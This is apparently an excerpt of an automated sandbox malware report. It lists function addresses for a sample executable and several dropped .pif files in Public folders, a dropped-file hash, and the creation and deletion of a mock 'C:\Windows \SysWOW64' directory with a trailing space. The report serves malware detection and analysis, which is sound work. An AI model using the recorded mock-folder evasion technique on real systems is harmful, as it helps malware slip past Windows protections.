Source: C:\Users\Public\alpha.pif	File created: C:\Windows \SysWOW64			Jump to behavior

Source: C:\Users\Public\alpha.pif

File deleted: C:\Windows \SysWOW64

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B120C4	0_2_02B120C4
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B3E596	0_2_02B3E596
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B1C98E	0_2_02B1C98E
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00408C60	14_2_00408C60
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_0040DC11	14_2_0040DC11
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00407C3F	14_2_00407C3F
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00418CCC	14_2_00418CCC
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00406CA0	14_2_00406CA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_004028B0	14_2_004028B0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_0041A4BE	14_2_0041A4BE
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00418244	14_2_00418244
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00401650	14_2_00401650
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00402F20	14_2_00402F20
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_004193C4	14_2_004193C4
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00418788	14_2_00418788
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00402F89	14_2_00402F89
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00402B90	14_2_00402B90
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_004073A0	14_2_004073A0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_241715C0	14_2_241715C0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_24171311	14_2_24171311
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_24171320	14_2_24171320
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_28DFE660	14_2_28DFE660
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_28DFC0F0	14_2_28DFC0F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_28DF7CA4	14_2_28DF7CA4
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_28DF0A50	14_2_28DF0A50
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_28DF0A60	14_2_28DF0A60
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993A1D0	14_2_2993A1D0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993D5D8	14_2_2993D5D8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29937138	14_2_29937138
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993AD60	14_2_2993AD60
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993E168	14_2_2993E168
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993C480	14_2_2993C480
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993F888	14_2_2993F888
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993B8F0	14_2_2993B8F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993ECF8	14_2_2993ECF8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993D010	14_2_2993D010
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29932C08	14_2_29932C08
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29930040	14_2_29930040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993A798	14_2_2993A798
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993DBA0	14_2_2993DBA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993E730	14_2_2993E730
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993B328	14_2_2993B328
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993BEB8	14_2_2993BEB8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993F2C0	14_2_2993F2C0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29930608	14_2_29930608
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993CA48	14_2_2993CA48
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29936780	14_2_29936780
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29932BF9	14_2_29932BF9
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2993632B	14_2_2993632B
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29936771	14_2_29936771
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_299362AE	14_2_299362AE
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29951198	14_2_29951198
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995A580	14_2_2995A580
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29959FB8	14_2_29959FB8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29950BD0	14_2_29950BD0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_299593F8	14_2_299593F8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_299599E8	14_2_299599E8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29957710	14_2_29957710
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995B110	14_2_2995B110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995F510	14_2_2995F510
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29957120	14_2_29957120
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29951D28	14_2_29951D28
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995E740	14_2_2995E740
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995AB48	14_2_2995AB48
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995D970	14_2_2995D970
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29951760	14_2_29951760
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29955480	14_2_29955480
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995D280	14_2_2995D280
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_299562B0	14_2_299562B0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_299582A0	14_2_299582A0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995BCA0	14_2_2995BCA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29957CD8	14_2_29957CD8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995B6D8	14_2_2995B6D8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29950608	14_2_29950608
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29958E30	14_2_29958E30
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995EE28	14_2_2995EE28
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995E058	14_2_2995E058
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29950040	14_2_29950040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29958868	14_2_29958868
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995C268	14_2_2995C268
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995F501	14_2_2995F501
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995E730	14_2_2995E730
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995AB39	14_2_2995AB39
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995D96C	14_2_2995D96C
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995501F	14_2_2995501F
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995EE19	14_2_2995EE19
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29955020	14_2_29955020
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995E048	14_2_2995E048
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_2995D272	14_2_2995D272
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B50E10	14_2_29B50E10
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B5A1F0	14_2_29B5A1F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B50040	14_2_29B50040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B50728	14_2_29B50728
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B51DD8	14_2_29B51DD8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B514F8	14_2_29B514F8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B50E08	14_2_29B50E08
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B50718	14_2_29B50718
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B57CF8	14_2_29B57CF8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B57CE8	14_2_29B57CE8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29B514F5	14_2_29B514F5
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29C4A900	14_2_29C4A900
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29C4B7B8	14_2_29C4B7B8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_29C441D0	14_2_29C441D0
Source: C:\Users\Public\alpha.pif	Code function: 16_2_00394C10	16_2_00394C10
Source: C:\Users\Public\alpha.pif	Code function: 16_2_0039540A	16_2_0039540A
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A4875	16_2_003A4875
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003974B1	16_2_003974B1
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003B695A	16_2_003B695A
Source: C:\Users\Public\alpha.pif	Code function: 16_2_00399144	16_2_00399144
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003B4191	16_2_003B4191
Source: C:\Users\Public\alpha.pif	Code function: 16_2_00397A34	16_2_00397A34
Source: C:\Users\Public\alpha.pif	Code function: 16_2_0039EE03	16_2_0039EE03
Source: C:\Users\Public\alpha.pif	Code function: 16_2_0039D660	16_2_0039D660
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003B3E66	16_2_003B3E66
Source: C:\Users\Public\alpha.pif	Code function: 16_2_00396E57	16_2_00396E57
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A3EB3	16_2_003A3EB3
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003B769E	16_2_003B769E
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A5A86	16_2_003A5A86
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A4EC1	16_2_003A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 16_2_00396B20	16_2_00396B20
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A0740	16_2_003A0740
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A0BF0	16_2_003A0BF0
Source: C:\Users\Public\alpha.pif	Code function: 19_2_00394C10	19_2_00394C10
Source: C:\Users\Public\alpha.pif	Code function: 19_2_0039540A	19_2_0039540A
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A4875	19_2_003A4875
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003974B1	19_2_003974B1
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003B695A	19_2_003B695A
Source: C:\Users\Public\alpha.pif	Code function: 19_2_00399144	19_2_00399144
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003B4191	19_2_003B4191
Source: C:\Users\Public\alpha.pif	Code function: 19_2_00397A34	19_2_00397A34
Source: C:\Users\Public\alpha.pif	Code function: 19_2_0039EE03	19_2_0039EE03
Source: C:\Users\Public\alpha.pif	Code function: 19_2_0039D660	19_2_0039D660
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003B3E66	19_2_003B3E66
Source: C:\Users\Public\alpha.pif	Code function: 19_2_00396E57	19_2_00396E57
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A3EB3	19_2_003A3EB3
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003B769E	19_2_003B769E
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A5A86	19_2_003A5A86
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A4EC1	19_2_003A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 19_2_00396B20	19_2_00396B20
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A0740	19_2_003A0740
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A0BF0	19_2_003A0BF0
Source: C:\Users\Public\xpha.pif	Code function: 20_2_00381E26	20_2_00381E26
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AE20C4	21_2_02AE20C4
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AEC98E	21_2_02AEC98E
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 21_2_02AEC9DE	21_2_02AEC9DE
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_3_375165E5	23_3_375165E5
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00408C60	23_2_00408C60
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_0040DC11	23_2_0040DC11
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00407C3F	23_2_00407C3F
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00418CCC	23_2_00418CCC
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00406CA0	23_2_00406CA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_004028B0	23_2_004028B0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_0041A4BE	23_2_0041A4BE
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00418244	23_2_00418244
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00401650	23_2_00401650
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00402F20	23_2_00402F20
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_004193C4	23_2_004193C4
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00418788	23_2_00418788
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00402F89	23_2_00402F89
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00402B90	23_2_00402B90
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_004073A0	23_2_004073A0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_343D15B1	23_2_343D15B1
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_343D15C0	23_2_343D15C0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_343D1320	23_2_343D1320
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_36DBE660	23_2_36DBE660
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_36DBC0F0	23_2_36DBC0F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_36DB0A57	23_2_36DB0A57
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_36DB0A60	23_2_36DB0A60
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBDBA0	23_2_37FBDBA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBA798	23_2_37FBA798
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBE730	23_2_37FBE730
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBB328	23_2_37FBB328
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBF2C0	23_2_37FBF2C0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBBEB8	23_2_37FBBEB8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBCA48	23_2_37FBCA48
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB0608	23_2_37FB0608
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBD5D8	23_2_37FBD5D8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBA1D0	23_2_37FBA1D0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBE168	23_2_37FBE168
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBAD60	23_2_37FBAD60
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB7138	23_2_37FB7138
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBECF8	23_2_37FBECF8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBB8F0	23_2_37FBB8F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBF888	23_2_37FBF888
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBC480	23_2_37FBC480
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB0040	23_2_37FB0040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBD010	23_2_37FBD010
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB2C08	23_2_37FB2C08
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB2BF9	23_2_37FB2BF9
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBDB91	23_2_37FBDB91
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBA788	23_2_37FBA788
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB6780	23_2_37FB6780
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB6771	23_2_37FB6771
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBE721	23_2_37FBE721
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBB318	23_2_37FBB318
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBF2B0	23_2_37FBF2B0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBBEA8	23_2_37FBBEA8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBCA46	23_2_37FBCA46
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB05F7	23_2_37FB05F7
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBD5C8	23_2_37FBD5C8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBA1C0	23_2_37FBA1C0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBE158	23_2_37FBE158
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBAD50	23_2_37FBAD50
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBB8E1	23_2_37FBB8E1
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBF878	23_2_37FBF878
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBC476	23_2_37FBC476
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FB0011	23_2_37FB0011
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FBD001	23_2_37FBD001
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD93F8	23_2_37FD93F8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD99E8	23_2_37FD99E8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD0BD0	23_2_37FD0BD0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD9FB8	23_2_37FD9FB8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD1198	23_2_37FD1198
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDA580	23_2_37FDA580
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDD970	23_2_37FDD970
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD1760	23_2_37FD1760
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDAB48	23_2_37FDAB48
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDE740	23_2_37FDE740
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD1D28	23_2_37FD1D28
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD7120	23_2_37FD7120
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDB110	23_2_37FDB110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD7710	23_2_37FD7710
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDF510	23_2_37FDF510
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDB6D8	23_2_37FDB6D8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD7CD8	23_2_37FD7CD8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD62B0	23_2_37FD62B0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDBCA0	23_2_37FDBCA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD82A0	23_2_37FD82A0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD5480	23_2_37FD5480
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDD280	23_2_37FDD280
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD8868	23_2_37FD8868
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDC268	23_2_37FDC268
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDE058	23_2_37FDE058
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD0040	23_2_37FD0040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD8E30	23_2_37FD8E30
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDEE28	23_2_37FDEE28
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD0608	23_2_37FD0608
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD05F9	23_2_37FD05F9
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD93E9	23_2_37FD93E9
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD99D9	23_2_37FD99D9
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD9FA8	23_2_37FD9FA8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD4597	23_2_37FD4597
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD118E	23_2_37FD118E
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDA573	23_2_37FDA573
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDD969	23_2_37FDD969
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD3B5A	23_2_37FD3B5A
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD1756	23_2_37FD1756
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDAB39	23_2_37FDAB39
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDE730	23_2_37FDE730
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD1D22	23_2_37FD1D22
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD7111	23_2_37FD7111
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDF501	23_2_37FDF501
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDB100	23_2_37FDB100
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD7703	23_2_37FD7703
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD7CCD	23_2_37FD7CCD
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDB6C8	23_2_37FDB6C8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD62A6	23_2_37FD62A6
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD8290	23_2_37FD8290
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDBC90	23_2_37FDBC90
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDD271	23_2_37FDD271
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD5470	23_2_37FD5470
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDC259	23_2_37FDC259
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD8859	23_2_37FD8859
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDE048	23_2_37FDE048
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD463D	23_2_37FD463D
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD5020	23_2_37FD5020
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD8E20	23_2_37FD8E20
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FDEE18	23_2_37FDEE18
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD5010	23_2_37FD5010
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_37FD0006	23_2_37FD0006
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D9964	23_2_381D9964
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D1DD8	23_2_381D1DD8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D14F8	23_2_381D14F8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D0E10	23_2_381D0E10
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D0040	23_2_381D0040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D0728	23_2_381D0728
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D7CF8	23_2_381D7CF8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D7CE8	23_2_381D7CE8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D14E8	23_2_381D14E8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D0E00	23_2_381D0E00
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D0006	23_2_381D0006
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381DA158	23_2_381DA158
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_381D0718	23_2_381D0718
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_382CA900	23_2_382CA900
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_382CB7B8	23_2_382CB7B8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_382C41D0	23_2_382C41D0
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: 24_2_02BC20C4	24_2_02BC20C4

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Libraries\yihfsboC.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301

Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: String function: 0040D606 appears 48 times
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: String function: 0040E1D8 appears 88 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: String function: 02B146D4 appears 244 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: String function: 02B289D0 appears 45 times
